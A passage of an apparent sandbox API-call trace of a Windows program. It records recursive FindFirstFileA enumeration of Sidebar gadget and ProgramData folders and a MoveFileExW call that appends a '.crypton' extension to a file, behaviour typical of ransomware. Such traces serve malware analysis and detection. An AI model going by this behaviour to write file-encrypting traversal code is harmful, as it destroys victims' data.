ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xead6a8c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.678] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xead6a8c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xead6a8c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.683] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xead6a8c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xead6a8c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.694] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xead90a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xead90a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.699] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xead90a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xead90a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.704] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeadb6b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeadb6b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.710] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeadb6b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeadb6b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.717] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaddcce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaddcce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.725] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaddcce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaddcce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.732] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaddcce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaddcce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.740] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeae02e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae02e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.747] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeae02e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae02e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.754] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeae28fa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae28fa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.761] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeae28fa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae28fa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.768] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeae4f100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae4f100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.777] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeae4f100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae4f100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.784] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeae75260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae75260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.790] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeae75260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae75260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.797] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeae9b3c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae9b3c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.807] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeae9b3c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeae9b3c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.815] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaec1520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaec1520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.822] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaec1520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaec1520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.846] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaf0d7e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf0d7e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.849] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaf0d7e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf0d7e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549750 [0183.854] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf0d7e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf0d7e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.858] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.863] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.869] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.874] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.879] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.884] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.890] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Application Data\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0183.898] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Desktop\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0183.901] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Documents\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0183.906] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Favorites\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0183.913] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeafa5d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafa5d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.917] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafa5d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafa5d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.922] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafcbec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafcbec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.927] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafcbec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafcbec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.934] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeafcbec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafcbec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.935] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.crypton" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck.crypton"), dwFlags=0x2) returned 1 [0183.948] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaff2020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaff2020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.953] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb018180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb018180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.959] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x4aaa20 | out: 